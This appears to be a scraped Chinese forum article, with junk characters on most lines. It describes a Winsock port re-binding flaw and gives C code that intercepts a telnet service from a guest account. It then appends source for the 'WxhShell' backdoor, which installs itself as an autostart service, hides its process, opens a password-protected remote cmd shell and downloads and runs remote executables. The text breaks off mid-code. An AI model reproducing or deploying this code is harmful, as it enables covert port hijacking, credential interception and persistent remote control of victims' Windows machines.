在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>wZ!1Jq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
hmQD-E{Ab p^NYJV saddr.sin_family = AF_INET;
*ZAue. #VtlXr>G saddr.sin_addr.s_addr = htonl(INADDR_ANY);
?NJ\l5' bq]af.o* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
BJ1txdxvS ^,@Rd\q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
AS~O*(po D}Z].c@E 这意味着什么?意味着可以进行如下的攻击:
4?;1cXXA qHklu2_% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
I@e{>} 5yuR[VU 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
nx84l 7< [26"?};"% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
LC2t,!RRl& YEQ}<\B\& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
[
q22?kT PO1sVP.S 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
8nW#Q<s 1Sr@$+VGO 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
MX]<tR ` uee2WGD 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\f05(ld &K/5AH"q #include
zN0^FXGD #include
Y}Y2Vx #include
zq8LQ4@ay #include
[*Wq6n DWORD WINAPI ClientThread(LPVOID lpParam);
C([TolZ int main()
>^{}Hjt {
$s5LzJn WORD wVersionRequested;
C&D!TR!K DWORD ret;
RKx"
}<#+ WSADATA wsaData;
ZU5hHah.t BOOL val;
7jvf:#\LtL SOCKADDR_IN saddr;
[YLaRr SOCKADDR_IN scaddr;
['Hl$2 j int err;
D`V03}\- SOCKET s;
k& 2U& SOCKET sc;
eE '\h int caddsize;
+m^ gj:yL HANDLE mt;
M1-n DWORD tid;
Y7{IF X wVersionRequested = MAKEWORD( 2, 2 );
@/g%l1$` err = WSAStartup( wVersionRequested, &wsaData );
aTxss:7] if ( err != 0 ) {
H_un3x1 printf("error!WSAStartup failed!\n");
B~G?&"] return -1;
KQ9~\No] }
W c{<DE?J saddr.sin_family = AF_INET;
fq48>"g* o+r?N5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
r8A AQw1,tGV saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(Z fY/ saddr.sin_port = htons(23);
<j+DY@* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xrs?"]M[ {
4$oNh)+/h printf("error!socket failed!\n");
,6uON@ return -1;
L'iENZI$ }
b3N1SC:Wn val = TRUE;
8M<q-sn4B //SO_REUSEADDR选项就是可以实现端口重绑定的
d="Oge8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Dp3&@M"^yY {
<l opk('7 printf("error!setsockopt failed!\n");
~oWCTj- return -1;
}6*+>? }
o$)pJ#";F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
7o_1PwKS6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
'[Ap/:/UY //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1t w>C\ QpxRYv if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
% put=I {
>slD.rb] ret=GetLastError();
hd0d
gc printf("error!bind failed!\n");
~)xg7\k return -1;
M=:!d$c
}
T a8;
listen(s,2);
-.<fGhmU while(1)
ce7$r*@! {
E!nEB(FD caddsize = sizeof(scaddr);
va 7I_J //接受连接请求
jeXP|;#Una sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
33IJbg if(sc!=INVALID_SOCKET)
-}#=L@ {
`S$zwot mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
W6%\Zwav?) if(mt==NULL)
ur7sf$ {
?-C=_eZJ printf("Thread Creat Failed!\n");
g?&_5)& break;
=;Ap+} }
s&&8~
)H }
z=%&?V CloseHandle(mt);
:59fb"^$ }
@-ps[b`z closesocket(s);
Hj(ay48 WSACleanup();
w*#B_6bG return 0;
}x!=F<Q!r }
]z3!hgTj DWORD WINAPI ClientThread(LPVOID lpParam)
Ck.LsL- {
rHYSS0*3 SOCKET ss = (SOCKET)lpParam;
s2F<H# SOCKET sc;
}.*"ezaZw unsigned char buf[4096];
T-,T)R`R SOCKADDR_IN saddr;
+U9m long num;
b* (~8JxZ DWORD val;
n@%Q 2_ DWORD ret;
{&7%wZ"t_ //如果是隐藏端口应用的话,可以在此处加一些判断
M:TN^ rA| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
3kqO5+,C saddr.sin_family = AF_INET;
KTLq~Ru saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Rn?Yz^
1q saddr.sin_port = htons(23);
d?[gd(O if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0#Ivo<V {
|p_\pa1&
printf("error!socket failed!\n");
@>:V? return -1;
["O/%6b9+ }
+\Uq=@ val = 100;
4f~ c#0? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/Q]6"nY {
}OZut!_ ret = GetLastError();
]]Bqte return -1;
l$_q#Kd }
OeMI if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vX?MB {
c?(;6$ A ret = GetLastError();
#dO8) t return -1;
qe^d6 }
fG dT2}gd if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
80m<OW1 {
;[nomxu|? printf("error!socket connect failed!\n");
vNWCv closesocket(sc);
X 8/9x-E_ closesocket(ss);
2><=U7~ return -1;
/6fa
7; }
X%X`o%AqC while(1)
=:fN {
U~3uu&/r //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1PGY/c
//如果是嗅探内容的话,可以再此处进行内容分析和记录
Q'
b@5o //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9!XXuMWU< num = recv(ss,buf,4096,0);
I}^Q u0ub if(num>0)
V8KdY=[ send(sc,buf,num,0);
xgp 6lO [ else if(num==0)
etw.l~y break;
K%jh6c8 num = recv(sc,buf,4096,0);
vM3 b\yp if(num>0)
OkNBP0e} send(ss,buf,num,0);
78~;j1^6u else if(num==0)
J^w!?nk break;
<ztcCRov }
\|@u)n_ closesocket(ss);
_s{;9&qX] closesocket(sc);
LC>bZ!(i# return 0 ;
e};\"^HH }
'v^Zterr dgEH]9j& iVaCX Xf ' ==========================================================
6[x6:{^J ]&b>P ;j: 下边附上一个代码,,WXhSHELL
u=QG%O#B pLdZB9oD]C ==========================================================
1ze\ U> @LyCP4 #include "stdafx.h"
2/dvCt6 N #jqcUno #include <stdio.h>
&"gQrBa #include <string.h>
#r,LV}*qg #include <windows.h>
|YnT;q #include <winsock2.h>
C<B+! 16 #include <winsvc.h>
PKjM1wqaG@ #include <urlmon.h>
5jNDr`pnu /gH[|d #pragma comment (lib, "Ws2_32.lib")
%|izt/B #pragma comment (lib, "urlmon.lib")
DS|HN ;z1\n3, #define MAX_USER 100 // 最大客户端连接数
:aHLr[%Mz #define BUF_SOCK 200 // sock buffer
TC* 78;r #define KEY_BUFF 255 // 输入 buffer
mVsghDESJ) ` W}Bc #define REBOOT 0 // 重启
,&F4|{ #define SHUTDOWN 1 // 关机
sx^0*h-Qq -dyN
Ah?= #define DEF_PORT 5000 // 监听端口
x=I|O;">< 5 (cgHr" #define REG_LEN 16 // 注册表键长度
5>x?2rp #define SVC_LEN 80 // NT服务名长度
^yFtL(x, lKSd]:3Xm // 从dll定义API
S_ER^Pkg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}K.2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
59MpHkr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#?_8 *? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
V44M=c7E DG-XX.:z // wxhshell配置信息
]jRaR~[UN struct WSCFG {
B:]%Iu| int ws_port; // 监听端口
PZ.q char ws_passstr[REG_LEN]; // 口令
&:?2IAe int ws_autoins; // 安装标记, 1=yes 0=no
A(@VjXl char ws_regname[REG_LEN]; // 注册表键名
`#3FvP@& char ws_svcname[REG_LEN]; // 服务名
"o}}[hRP char ws_svcdisp[SVC_LEN]; // 服务显示名
=}K"@5J char ws_svcdesc[SVC_LEN]; // 服务描述信息
Q<O(Ix char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$6DA<v^=z int ws_downexe; // 下载执行标记, 1=yes 0=no
&YOks.k char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
7#[8td char ws_filenam[SVC_LEN]; // 下载后保存的文件名
*l.tsICmbP @,Kl"i; };
|*5HNP efrVF5,y? // default Wxhshell configuration
x T8pwTO struct WSCFG wscfg={DEF_PORT,
(x!Tb2mlk "xuhuanlingzhe",
yt[vd8O'c 1,
e.'6q
($3 "Wxhshell",
!mIr_d2" "Wxhshell",
7^FJ+gN8b "WxhShell Service",
!v\_<8 "Wrsky Windows CmdShell Service",
),rd7GB> "Please Input Your Password: ",
RQO&F$R= 1,
:~wU/dEEiz "
http://www.wrsky.com/wxhshell.exe",
P*:9u> "Wxhshell.exe"
`G_k~ % };
;_6CV u`
L9Pj&v // 消息定义模块
Iw[7;B5v char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
HP(dhsd<c char *msg_ws_prompt="\n\r? for help\n\r#>";
[k{2)g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
b^^ .$Gu char *msg_ws_ext="\n\rExit.";
Q:^.Qs"IK char *msg_ws_end="\n\rQuit.";
oD.[T)G? char *msg_ws_boot="\n\rReboot...";
~\khwNA
char *msg_ws_poff="\n\rShutdown...";
O.z\
VI2f char *msg_ws_down="\n\rSave to ";
dxi5p!^^9 )aAKxC7w char *msg_ws_err="\n\rErr!";
!m:rtPD' char *msg_ws_ok="\n\rOK!";
U+ANSW/ .^!<cFkCE char ExeFile[MAX_PATH];
TsF>Y""*M int nUser = 0;
UfSqiu HANDLE handles[MAX_USER];
=-%10lOI int OsIsNt;
Kd!.sB/% | IB4-p SERVICE_STATUS serviceStatus;
P}~nL
SERVICE_STATUS_HANDLE hServiceStatusHandle;
f >$V:e([
)8&;Q9'o // 函数声明
jBMGm"NE int Install(void);
3R&
FzLs int Uninstall(void);
@;t6Slc"~ int DownloadFile(char *sURL, SOCKET wsh);
[ f;o3 int Boot(int flag);
*Y`c.n" void HideProc(void);
vhd +A int GetOsVer(void);
B>UF dj]- int Wxhshell(SOCKET wsl);
bw8[L;~%_ void TalkWithClient(void *cs);
AU4K$hC^ int CmdShell(SOCKET sock);
gGE&}EoLU int StartFromService(void);
n^iq?u int StartWxhshell(LPSTR lpCmdLine);
W)jtTC7 lPZYd8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{$QkerW3 VOID WINAPI NTServiceHandler( DWORD fdwControl );
n5+Z|<3) TD-o-*mO // 数据结构和表定义
i_f\dkol SERVICE_TABLE_ENTRY DispatchTable[] =
`e4gneQY {
h,zM*z A_ {wscfg.ws_svcname, NTServiceMain},
2Y~nU(
{NULL, NULL}
#?C.%kD };
0vZ49}mb) p6X-P%s // 自我安装
y$y!{R@ int Install(void)
"[dfb#0z` {
6~^ M<E char svExeFile[MAX_PATH];
b_Dd$NC HKEY key;
L%HFsuIO- strcpy(svExeFile,ExeFile);
H>]A|-rG# Seh(G // 如果是win9x系统,修改注册表设为自启动
F1u2SltR if(!OsIsNt) {
2D2}
*);eW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#Q1}h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J%FF@.)k RegCloseKey(key);
Z=dM7 Lj* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
lWakyCS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j;BlpRD} RegCloseKey(key);
L*FQ`:lZ return 0;
"1Y'VpKm(~ }
gC+?5_=< }
s63!]LDr }
nc^DFP else {
iAo/Dnp2J hgK
4;R // 如果是NT以上系统,安装为系统服务
,c,@WQ2:- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0.[tEnLZ if (schSCManager!=0)
m "96%sB {
}<^QW't_Y SC_HANDLE schService = CreateService
G8&/Ic (
Z&of-[) schSCManager,
I-^C6~ wscfg.ws_svcname,
a"&cm'\lL wscfg.ws_svcdisp,
%-woaj SERVICE_ALL_ACCESS,
e2yCWolmTS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"7Z-ACyF5 SERVICE_AUTO_START,
01~
nC@; SERVICE_ERROR_NORMAL,
^yX >^1 svExeFile,
C55Av%-= NULL,
Ab6R ?mUM NULL,
erhez NULL,
[1nUq!uTm NULL,
,KCxNdg^#- NULL
ey6ujV7! );
Y5c[9\'\ if (schService!=0)
OT0IGsJ"' {
8S7#tb@3 CloseServiceHandle(schService);
wYr*('uT CloseServiceHandle(schSCManager);
'<s54 Cb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Y,Lx6kU strcat(svExeFile,wscfg.ws_svcname);
GVhy
}0| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
K^
ALE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
KP&xk13) RegCloseKey(key);
hd]ts. return 0;
_u]%K-_ }
2;(+]Ad< }
"n_X4e+18P CloseServiceHandle(schSCManager);
^GlzKl
}
5M/~|"xk }
SsPZva *%Fu/ return 1;
c8T| o=`k6 }
O4Q"2
kD0bdE| // 自我卸载
q}!h(-y}5n int Uninstall(void)
B$n 1k45 {
u HW'F(; HKEY key;
MT7B'hd \VA*3U^@ if(!OsIsNt) {
D*j^f7ab if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x[0O*ty-*< RegDeleteValue(key,wscfg.ws_regname);
S+#|j
RegCloseKey(key);
jwUX?`6jX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I _gE`N RegDeleteValue(key,wscfg.ws_regname);
R1*4 RegCloseKey(key);
)_1 GPS return 0;
2WTOu x* }
On54!m }
({Pjz;xM }
xW]65iav else {
xK_oV+ kIX1u<M~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Kk*8 if (schSCManager!=0)
l*6Zh"o: {
8NiR3*1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Le:(;:eL>t if (schService!=0)
N/ f7"~+` {
>,E^ R `y if(DeleteService(schService)!=0) {
*\(z"B CloseServiceHandle(schService);
v+I-*,R CloseServiceHandle(schSCManager);
Io|Du return 0;
vP=68muD }
78Du CloseServiceHandle(schService);
6T4I,XrY_F }
&
+*OV:[; CloseServiceHandle(schSCManager);
X^Z!!KTH }
z DU=2c4W9 }
loO"[8i.k X6",Xr!{ return 1;
1`YU9? }
5mC"8N1) DzQ // 从指定url下载文件
l#`G4Vf int DownloadFile(char *sURL, SOCKET wsh)
&w#! {
c!_c, vwrn HRESULT hr;
?C#E_ char seps[]= "/";
GB35o uE char *token;
#c5jCy}n char *file;
fx(h fz char myURL[MAX_PATH];
Pc_aEBq char myFILE[MAX_PATH];
76wNZv)9 }f]Y^>-Ux strcpy(myURL,sURL);
Z &Ciy n token=strtok(myURL,seps);
5nUJ9sqA while(token!=NULL)
Ml7
(<J {
ZZ7qSyBs? file=token;
7/
?QZN token=strtok(NULL,seps);
i'7+
?YL }
u '7h(1@ LP=j/qf| GetCurrentDirectory(MAX_PATH,myFILE);
Ps74SoD- strcat(myFILE, "\\");
](A2,F
9(U strcat(myFILE, file);
Y}1c>5{bE send(wsh,myFILE,strlen(myFILE),0);
>WIc"y. send(wsh,"...",3,0);
xbm%+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
G[A3H>
> if(hr==S_OK)
o87kF!x return 0;
G$>QH-p else
Sk E <V0 return 1;
;Mup@)!j #3QPcoxa }
lQ-<T<g Jsysk $R // 系统电源模块
V`1,s~"q int Boot(int flag)
pL5cw= {
1^4:l!0D HANDLE hToken;
,VHqZ'6 TOKEN_PRIVILEGES tkp;
@kqxN\DE @Fb1D"! if(OsIsNt) {
+yp:douERi OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
:-B+W9'5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
d=PX}o^ tkp.PrivilegeCount = 1;
>%k6k1CZ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
k~^4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
MQQm3VaKS if(flag==REBOOT) {
R7kkth if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`oJQA$UD return 0;
m{/(
3 }
%bAQ>E2;m else {
N-\N\uN if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:<t=??4m return 0;
MLu!8dgI }
G
aV&y }
ZpV]X(Px(o else {
rG}e\ziKuj if(flag==REBOOT) {
6
Rl[M+Q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
@PEFl" return 0;
<w{?b'/q }
Y%.o
TB& else {
nt#9j',6Rn if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
OT%E|) 6' return 0;
94rSB}b.O }
j#1G?MF }
9{*{Ba P.'.KZJ:WD return 1;
;!MQ@Fi^ }
mb1mlsE D%p*G5Bg3 // win9x进程隐藏模块
At'CT5= void HideProc(void)
r3l1I} {
K*SgEkb'l ) *~A|[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
1f`De`zXzr if ( hKernel != NULL )
"bm|p/A {
m2c'r3 UEu pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
)l7XZ_gw' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;=Ma+d# FreeLibrary(hKernel);
*an Ng<@ }
>fH0>W+! An{>39{ return;
/MGapmqV9 }
*siX:?l ~U0%}Bbh // 获取操作系统版本
<RY =y?%z int GetOsVer(void)
;
oyV8P$ {
|ia5Mr"t OSVERSIONINFO winfo;
eV[{c %wN: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;6W ]f([ GetVersionEx(&winfo);
jE\G_> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
VJ~D.ec return 1;
BNfj0e 5b else
V\cbIx(Z^ return 0;
HwUaaK
}
yQ$irS? ppyy0E^M // 客户端句柄模块
~_\Ra% int Wxhshell(SOCKET wsl)
S6<o?X9,I {
Q$E.G63Wl SOCKET wsh;
u?=mh` struct sockaddr_in client;
x>yqEdR=o DWORD myID;
%Mda<3P (S~kyU!)0 while(nUser<MAX_USER)
1dQAo1 {
r&{8/ 5" int nSize=sizeof(client);
Qr.{_M wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
@dWA1tM if(wsh==INVALID_SOCKET) return 1;
b`jR("U :_8K8Sa handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
rNP;53FtZl if(handles[nUser]==0)
ZcN0:xU closesocket(wsh);
n-Iz!;q else
6g|,]{ nUser++;
v$y\X3)mB }
T}&A-V$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?Mjs [| /5NWV#- return 0;
'Z{`P0/^o` }
Jt_=aMY:7 6] x6FeuS // 关闭 socket
gP%<<yl void CloseIt(SOCKET wsh)
)Te\6qM {
X-\$<DiJGv closesocket(wsh);
`% 9Y)a/e nUser--;
|! 9~ ExitThread(0);
D!`[fjs6A }
ef)RlzLOq xV>
.] // 客户端请求句柄
Wg|6{'a void TalkWithClient(void *cs)
REh"/d {
;jzJ6~< K*@?BE SOCKET wsh=(SOCKET)cs;
Q9bnOvKe| char pwd[SVC_LEN];
xA3_W char cmd[KEY_BUFF];
8{>|%M char chr[1];
T9yI%;D int i,j;
PaTOlHr Ne
u$SP while (nUser < MAX_USER) {
T"g_a|7Tj [<@L`ki if(wscfg.ws_passstr) {
dn h qg3Y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.\b.l@O<Z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
NS[ Z@@ //ZeroMemory(pwd,KEY_BUFF);
7!M; ?Y i=0;
LphCx6f,X while(i<SVC_LEN) {
$<-a>~^Tp zA#pgX[# // 设置超时
b 8@}Jv fd_set FdRead;
D <iG*I struct timeval TimeOut;
(%^C}`|EA FD_ZERO(&FdRead);
$.tT FD_SET(wsh,&FdRead);
MHpGG00, TimeOut.tv_sec=8;
5RT#H0/+ TimeOut.tv_usec=0;
D1RQkAZS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%DttkrhL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
T!x/^ Id?-Og2iV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/Z2u0jNArP pwd
=chr[0]; )
gl{ x
if(chr[0]==0xd || chr[0]==0xa) { (#dR\Di
pwd=0; .U{}N%S
break; o6u^hG6~'
} Mc?_2<u-
i++; C^$E#|E9 N
} )v(rEY
iZ]^JPU}
// 如果是非法用户,关闭 socket rO}1E<g
(
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K"l~bFCZ8
} 4zs0+d+
xhALJfv
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5YrzOqg=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M&iXdw&
T>'w]wi
while(1) { <SE-:T]sBz
%qV:h#
ZeroMemory(cmd,KEY_BUFF); Ea4zC|;
`C4(C4u
// 自动支持客户端 telnet标准 >:.c?{%g*
j=0; <8(q.
while(j<KEY_BUFF) { ftn10TO *
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); remc_}`w
cmd[j]=chr[0]; i6bUJtL
if(chr[0]==0xa || chr[0]==0xd) { OI Fjc0
cmd[j]=0; l9QI lTc7
break; PVi;h%>Y
} %|4Kak]:Q
j++; 3X Y"s"
} UK6x]tE
[Vbdsu9
// 下载文件 5xc e1[
if(strstr(cmd,"http://")) { whN<{AG
send(wsh,msg_ws_down,strlen(msg_ws_down),0); TTO8tT3[6}
if(DownloadFile(cmd,wsh)) -[*y{K@dh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3_RdzW}f
else !}}
)f/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K7s[Fa6J
} W
/v
&V#
else { 0<V/[$}\D
odL*_<Z
switch(cmd[0]) { E|-oUzt
=Fe4-B?I
// 帮助 {yNeZXA>
case '?': { dOaOWMrfdf
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [m! P(o
break; e>_a
(
} 3B]E2
// 安装 #+<YFm\i
case 'i': { x'-gvbj!
if(Install()) /QB;0PrE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LmY[{.'tX
else Swf%WuDj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I>8_gp\1
break; 6lpJ+A57#
} $J4)z&%dr
// 卸载 [kkhVi5;A
case 'r': { 3ylSO73R
if(Uninstall()) ;pL!cG@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %V1j M
else N~b0 b;e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {.U:Ce
break; <0Y<9+g!
} p! k~ufU
// 显示 wxhshell 所在路径 M4|ION
case 'p': { k^d^Todq.
char svExeFile[MAX_PATH]; qQfNT.
strcpy(svExeFile,"\n\r"); 7`7 M4
strcat(svExeFile,ExeFile); rPr]f;
send(wsh,svExeFile,strlen(svExeFile),0); p/eaO{6 6
break; ZG +FX:v
} P@bPdw!JA
// 重启 3{qB<*!p"G
case 'b': { hKg +A
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IPn!iv)
if(Boot(REBOOT)) W2%@}IDm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +mft
else { q`8
5-
closesocket(wsh); x4 4V
9-o
ExitThread(0); 7z{N}
} Cj }H'k<B
break; (:]+IjnE
} %*K zP{
// 关机 /:!l&1l:p
case 'd': { K8&) kfyI
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !ni
1 qM
if(Boot(SHUTDOWN)) P
B-x_D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?c8(<_I+
else { Wm{ebx
closesocket(wsh); -cJ,rrN_9
ExitThread(0);
|Ch,C
} o[RwK
break; q77qdmq7
} |aU8WRq
// 获取shell 9,&xG\z=
case 's': { gB%"JDn8
CmdShell(wsh); @ G!Ir"Q
closesocket(wsh); }tBw<7fe
ExitThread(0); YvuE:ia
break; V60"j(
} [zq2h3r
// 退出 T#6g5Jnsp
case 'x': { Kwm_Y5`A
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X.
Ur`X
CloseIt(wsh); LN.*gGl
break; \N-3JO Vy
} F+NX
[
// 离开 U8gj\G\`
case 'q': { 3mopTzs)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); R'vNJDFY
closesocket(wsh); !?).4yr
WSACleanup(); [+l6x1Am
exit(1); j( k%w
break; Jqgm>\y
} 0 ;)Q
} - q(a~Ge
} k;JDVRL
-{C Gn5]_#
// 提示信息 ShlTMTgS
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,B_tAg4~
} o~CEja&(
} T.')XKP)1N
!Ea9
fe
return; 9
!UNO
} KJS-{ed
gMZ+kP`
// shell模块句柄 _NwHT`O[
int CmdShell(SOCKET sock) br TP}A
{ #*w)rGkU2
STARTUPINFO si; Ahbh,U
ZeroMemory(&si,sizeof(si)); {98e_z w
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O0
Uh
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k'
Fu&r
PROCESS_INFORMATION ProcessInfo; A)j!Wgs^z
char cmdline[]="cmd"; ~H
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }kItVx
return 0; ?WqaT) l~
} :x5O1Zn/t
0y/31hp
// 自身启动模式 IC8%E3
int StartFromService(void) 5D<ZtsXE
{ zkqn>
typedef struct 4W49*Je
{ z%T|L[(6
DWORD ExitStatus; L AA(2
DWORD PebBaseAddress; ]xoG{%vgb
DWORD AffinityMask; C4gES"T
DWORD BasePriority; k?L2LIB<
ULONG UniqueProcessId; Ndb7>"W
